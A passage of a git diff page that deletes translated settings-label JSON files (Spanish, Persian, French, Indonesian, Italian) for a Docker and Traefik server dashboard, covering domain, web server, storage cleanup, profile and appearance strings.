|
||||
"settings.server.webServer.server.label": "Servidor",
|
||||
"settings.server.webServer.traefik.label": "Traefik",
|
||||
"settings.server.webServer.traefik.modifyEnv": "Modificar Entorno",
|
||||
"settings.server.webServer.traefik.managePorts": "Asignación Adicional de Puertos",
|
||||
"settings.server.webServer.traefik.managePortsDescription": "Añadir o eliminar puertos adicionales para Traefik",
|
||||
"settings.server.webServer.traefik.targetPort": "Puerto de Destino",
|
||||
"settings.server.webServer.traefik.publishedPort": "Puerto Publicado",
|
||||
"settings.server.webServer.traefik.addPort": "Añadir Puerto",
|
||||
"settings.server.webServer.traefik.portsUpdated": "Puertos actualizados correctamente",
|
||||
"settings.server.webServer.traefik.portsUpdateError": "Error al actualizar los puertos",
|
||||
"settings.server.webServer.traefik.publishMode": "Modo de Publicación",
|
||||
"settings.server.webServer.storage.label": "Espacio",
|
||||
"settings.server.webServer.storage.cleanUnusedImages": "Limpiar imágenes no utilizadas",
|
||||
"settings.server.webServer.storage.cleanUnusedVolumes": "Limpiar volúmenes no utilizados",
|
||||
"settings.server.webServer.storage.cleanStoppedContainers": "Limpiar contenedores detenidos",
|
||||
"settings.server.webServer.storage.cleanDockerBuilder": "Limpiar Constructor de Docker y Sistema",
|
||||
"settings.server.webServer.storage.cleanMonitoring": "Limpiar Monitoreo",
|
||||
"settings.server.webServer.storage.cleanAll": "Limpiar todo",
|
||||
|
||||
"settings.profile.title": "Cuenta",
|
||||
"settings.profile.description": "Cambia los detalles de tu perfil aquí.",
|
||||
"settings.profile.email": "Correo electrónico",
|
||||
"settings.profile.password": "Contraseña",
|
||||
"settings.profile.avatar": "Avatar",
|
||||
|
||||
"settings.appearance.title": "Apariencia",
|
||||
"settings.appearance.description": "Personaliza el tema de tu panel.",
|
||||
"settings.appearance.theme": "Tema",
|
||||
"settings.appearance.themeDescription": "Selecciona un tema para tu panel",
|
||||
"settings.appearance.themes.light": "Claro",
|
||||
"settings.appearance.themes.dark": "Oscuro",
|
||||
"settings.appearance.themes.system": "Sistema",
|
||||
"settings.appearance.language": "Idioma",
|
||||
"settings.appearance.languageDescription": "Selecciona un idioma para tu panel"
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
{}
|
||||
@@ -1,44 +0,0 @@
|
||||
{
|
||||
"settings.common.save": "ذخیره",
|
||||
"settings.server.domain.title": "دامنه سرور",
|
||||
"settings.server.domain.description": "یک دامنه به برنامه سرور خود اضافه کنید.",
|
||||
"settings.server.domain.form.domain": "دامنه",
|
||||
"settings.server.domain.form.letsEncryptEmail": "ایمیل Let's Encrypt",
|
||||
"settings.server.domain.form.certificate.label": "گواهینامه",
|
||||
"settings.server.domain.form.certificate.placeholder": "یک گواهینامه انتخاب کنید",
|
||||
"settings.server.domain.form.certificateOptions.none": "هیچکدام",
|
||||
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (پیشفرض)",
|
||||
|
||||
"settings.server.webServer.title": "وب سرور",
|
||||
"settings.server.webServer.description": "وب سرور را بازنشانی یا پاک کنید.",
|
||||
"settings.server.webServer.actions": "اقدامات",
|
||||
"settings.server.webServer.reload": "بارگذاری مجدد",
|
||||
"settings.server.webServer.watchLogs": "مشاهده گزارشها",
|
||||
"settings.server.webServer.updateServerIp": "بهروزرسانی آیپی سرور",
|
||||
"settings.server.webServer.server.label": "سرور",
|
||||
"settings.server.webServer.traefik.label": "ترافیک",
|
||||
"settings.server.webServer.traefik.modifyEnv": "ویرایش محیط",
|
||||
"settings.server.webServer.storage.label": "فضا",
|
||||
"settings.server.webServer.storage.cleanUnusedImages": "پاکسازی Image های بدون استفاده",
|
||||
"settings.server.webServer.storage.cleanUnusedVolumes": "پاکسازی ولومهای بدون استفاده",
|
||||
"settings.server.webServer.storage.cleanStoppedContainers": "پاکسازی کانتینرهای متوقفشده",
|
||||
"settings.server.webServer.storage.cleanDockerBuilder": "پاکسازی بیلدر و سیستم داکر",
|
||||
"settings.server.webServer.storage.cleanMonitoring": "پاکسازی پایش",
|
||||
"settings.server.webServer.storage.cleanAll": "پاکسازی همه",
|
||||
|
||||
"settings.profile.title": "حساب کاربری",
|
||||
"settings.profile.description": "جزئیات پروفایل خود را در اینجا تغییر دهید.",
|
||||
"settings.profile.email": "ایمیل",
|
||||
"settings.profile.password": "رمز عبور",
|
||||
"settings.profile.avatar": "تصویر پروفایل",
|
||||
|
||||
"settings.appearance.title": "ظاهر",
|
||||
"settings.appearance.description": "تم داشبورد خود را سفارشی کنید.",
|
||||
"settings.appearance.theme": "تم",
|
||||
"settings.appearance.themeDescription": "یک تم برای داشبورد خود انتخاب کنید",
|
||||
"settings.appearance.themes.light": "روشن",
|
||||
"settings.appearance.themes.dark": "تاریک",
|
||||
"settings.appearance.themes.system": "سیستم",
|
||||
"settings.appearance.language": "زبان",
|
||||
"settings.appearance.languageDescription": "یک زبان برای داشبورد خود انتخاب کنید"
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
{}
|
||||
@@ -1,44 +0,0 @@
|
||||
{
|
||||
"settings.common.save": "Sauvegarder",
|
||||
"settings.server.domain.title": "Nom de domaine du serveur",
|
||||
"settings.server.domain.description": "Ajouter un nom de domaine au serveur de votre application.",
|
||||
"settings.server.domain.form.domain": "Domaine",
|
||||
"settings.server.domain.form.letsEncryptEmail": "Adresse email Let's Encrypt",
|
||||
"settings.server.domain.form.certificate.label": "Certificat",
|
||||
"settings.server.domain.form.certificate.placeholder": "Choisir un certificat",
|
||||
"settings.server.domain.form.certificateOptions.none": "Aucun",
|
||||
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Par défaut)",
|
||||
|
||||
"settings.server.webServer.title": "Serveur web",
|
||||
"settings.server.webServer.description": "Recharger ou nettoyer le serveur web.",
|
||||
"settings.server.webServer.actions": "Actions",
|
||||
"settings.server.webServer.reload": "Recharger",
|
||||
"settings.server.webServer.watchLogs": "Consulter les logs",
|
||||
"settings.server.webServer.updateServerIp": "Mettre à jour l'IP du serveur",
|
||||
"settings.server.webServer.server.label": "Serveur",
|
||||
"settings.server.webServer.traefik.label": "Traefik",
|
||||
"settings.server.webServer.traefik.modifyEnv": "Modifier les variables d'environnement",
|
||||
"settings.server.webServer.storage.label": "Stockage",
|
||||
"settings.server.webServer.storage.cleanUnusedImages": "Supprimer les images inutilisées",
|
||||
"settings.server.webServer.storage.cleanUnusedVolumes": "Supprimer les volumes inutilisés",
|
||||
"settings.server.webServer.storage.cleanStoppedContainers": "Supprimer les conteneurs arrêtés",
|
||||
"settings.server.webServer.storage.cleanDockerBuilder": "Nettoyer le Docker Builder & System",
|
||||
"settings.server.webServer.storage.cleanMonitoring": "Nettoyer le monitoring",
|
||||
"settings.server.webServer.storage.cleanAll": "Tout nettoyer",
|
||||
|
||||
"settings.profile.title": "Compte",
|
||||
"settings.profile.description": "Modifier les informations de votre compte ici.",
|
||||
"settings.profile.email": "Adresse Email",
|
||||
"settings.profile.password": "Mot de passe",
|
||||
"settings.profile.avatar": "Photo de profil",
|
||||
|
||||
"settings.appearance.title": "Apparence",
|
||||
"settings.appearance.description": "Customiser le thème de votre dashboard.",
|
||||
"settings.appearance.theme": "Thème",
|
||||
"settings.appearance.themeDescription": "Choisir un thème pour votre dashboard",
|
||||
"settings.appearance.themes.light": "Clair",
|
||||
"settings.appearance.themes.dark": "Sombre",
|
||||
"settings.appearance.themes.system": "Système",
|
||||
"settings.appearance.language": "Langue",
|
||||
"settings.appearance.languageDescription": "Sélectionner une langue pour votre dashboard"
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
{}
|
||||
@@ -1,58 +0,0 @@
|
||||
{
|
||||
"settings.common.save": "Simpan",
|
||||
"settings.common.enterTerminal": "Buka Terminal",
|
||||
"settings.server.domain.title": "Domain Server",
|
||||
"settings.server.domain.description": "Tambahkan domain ke aplikasi server anda.",
|
||||
"settings.server.domain.form.domain": "Domain",
|
||||
"settings.server.domain.form.letsEncryptEmail": "Email Let's Encrypt",
|
||||
"settings.server.domain.form.certificate.label": "Penyedia Sertifikat",
|
||||
"settings.server.domain.form.certificate.placeholder": "Pilih sertifikat",
|
||||
"settings.server.domain.form.certificateOptions.none": "Tidak ada",
|
||||
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
|
||||
|
||||
"settings.server.webServer.title": "Server Web",
|
||||
"settings.server.webServer.description": "Muat ulang atau bersihkan server web.",
|
||||
"settings.server.webServer.actions": "Opsi",
|
||||
"settings.server.webServer.reload": "Muat ulang",
|
||||
"settings.server.webServer.watchLogs": "Lihat log",
|
||||
"settings.server.webServer.updateServerIp": "Perbarui IP Server",
|
||||
"settings.server.webServer.server.label": "Server",
|
||||
"settings.server.webServer.traefik.label": "Traefik",
|
||||
"settings.server.webServer.traefik.modifyEnv": "Ubah Environment",
|
||||
"settings.server.webServer.traefik.managePorts": "Pengaturan Port Tambahan",
|
||||
"settings.server.webServer.traefik.managePortsDescription": "Tambahkan atau hapus port tambahan untuk Traefik",
|
||||
"settings.server.webServer.traefik.targetPort": "Port Tujuan",
|
||||
"settings.server.webServer.traefik.publishedPort": "Port saai ini",
|
||||
"settings.server.webServer.traefik.addPort": "Tambah Port",
|
||||
"settings.server.webServer.traefik.portsUpdated": "Port berhasil diperbarui",
|
||||
"settings.server.webServer.traefik.portsUpdateError": "Gagal memperbarui Port",
|
||||
"settings.server.webServer.traefik.publishMode": "Pilihan mode Port",
|
||||
"settings.server.webServer.storage.label": "Penyimpanan",
|
||||
"settings.server.webServer.storage.cleanUnusedImages": "Hapus Image tidak terpakai",
|
||||
"settings.server.webServer.storage.cleanUnusedVolumes": "Hapus Volume tidak terpakai",
|
||||
"settings.server.webServer.storage.cleanStoppedContainers": "Hapus Container tidak aktif",
|
||||
"settings.server.webServer.storage.cleanDockerBuilder": "Bersihkan Docker Builder & System",
|
||||
"settings.server.webServer.storage.cleanMonitoring": "Bersihkan Monitoring",
|
||||
"settings.server.webServer.storage.cleanAll": "Bersihkan",
|
||||
|
||||
"settings.profile.title": "Akun",
|
||||
"settings.profile.description": "Ubah detail profil Anda di sini.",
|
||||
"settings.profile.email": "Email",
|
||||
"settings.profile.password": "Kata Sandi",
|
||||
"settings.profile.avatar": "Avatar",
|
||||
|
||||
"settings.appearance.title": "Tampilan",
|
||||
"settings.appearance.description": "Sesuaikan tema dasbor Anda.",
|
||||
"settings.appearance.theme": "Tema",
|
||||
"settings.appearance.themeDescription": "Pilih tema untuk dasbor Anda",
|
||||
"settings.appearance.themes.light": "Terang",
|
||||
"settings.appearance.themes.dark": "Gelap",
|
||||
"settings.appearance.themes.system": "Sistem",
|
||||
"settings.appearance.language": "Bahasa",
|
||||
"settings.appearance.languageDescription": "Pilih bahasa untuk dasbor Anda",
|
||||
|
||||
"settings.terminal.connectionSettings": "Pengaturan koneksi",
|
||||
"settings.terminal.ipAddress": "Alamat IP",
|
||||
"settings.terminal.port": "Port",
|
||||
"settings.terminal.username": "Username"
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
{}
|
||||
@@ -1,44 +0,0 @@
|
||||
{
|
||||
"settings.common.save": "Salva",
|
||||
"settings.server.domain.title": "Dominio del server",
|
||||
"settings.server.domain.description": "Aggiungi un dominio alla tua applicazione server.",
|
||||
"settings.server.domain.form.domain": "Dominio",
|
||||
"settings.server.domain.form.letsEncryptEmail": "Email di Let's Encrypt",
|
||||
"settings.server.domain.form.certificate.label": "Certificato",
|
||||
"settings.server.domain.form.certificate.placeholder": "Seleziona un certificato",
|
||||
"settings.server.domain.form.certificateOptions.none": "Nessuno",
|
||||
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Predefinito)",
|
||||
|
||||
"settings.server.webServer.title": "Server Web",
|
||||
"settings.server.webServer.description": "Ricarica o pulisci il server web.",
|
||||
"settings.server.webServer.actions": "Azioni",
|
||||
"settings.server.webServer.reload": "Ricarica",
|
||||
"settings.server.webServer.watchLogs": "Guarda i log",
|
||||
"settings.server.webServer.updateServerIp": "Aggiorna IP del server",
|
||||
"settings.server.webServer.server.label": "Server",
|
||||
"settings.server.webServer.traefik.label": "Traefik",
|
||||
"settings.server.webServer.traefik.modifyEnv": "Modifica Env",
|
||||
"settings.server.webServer.storage.label": "Spazio",
|
||||
"settings.server.webServer.storage.cleanUnusedImages": "Pulisci immagini inutilizzate",
|
||||
"settings.server.webServer.storage.cleanUnusedVolumes": "Pulisci volumi inutilizzati",
|
||||
"settings.server.webServer.storage.cleanStoppedContainers": "Pulisci container fermati",
|
||||
"settings.server.webServer.storage.cleanDockerBuilder": "Pulisci Docker Builder e sistema",
|
||||
"settings.server.webServer.storage.cleanMonitoring": "Pulisci monitoraggio",
|
||||
"settings.server.webServer.storage.cleanAll": "Pulisci tutto",
|
||||
|
||||
"settings.profile.title": "Account",
|
||||
"settings.profile.description": "Modifica i dettagli del tuo profilo qui.",
|
||||
"settings.profile.email": "Email",
|
||||
"settings.profile.password": "Password",
|
||||
"settings.profile.avatar": "Avatar",
|
||||
|
||||
"settings.appearance.title": "Aspetto",
|
||||
"settings.appearance.description": "Personalizza il tema della tua dashboard.",
|
||||
"settings.appearance.theme": "Tema",
|
||||
"settings.appearance.themeDescription": "Seleziona un tema per la tua dashboard",
|
||||
"settings.appearance.themes.light": "Chiaro",
|
||||
"settings.appearance.themes.dark": "Scuro",
|
||||
"settings.appearance.themes.system": "Sistema",
|
||||
"settings.appearance.language": "Lingua",
|
||||
"settings.appearance.languageDescription": "Seleziona una lingua per la tua dashboard"
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user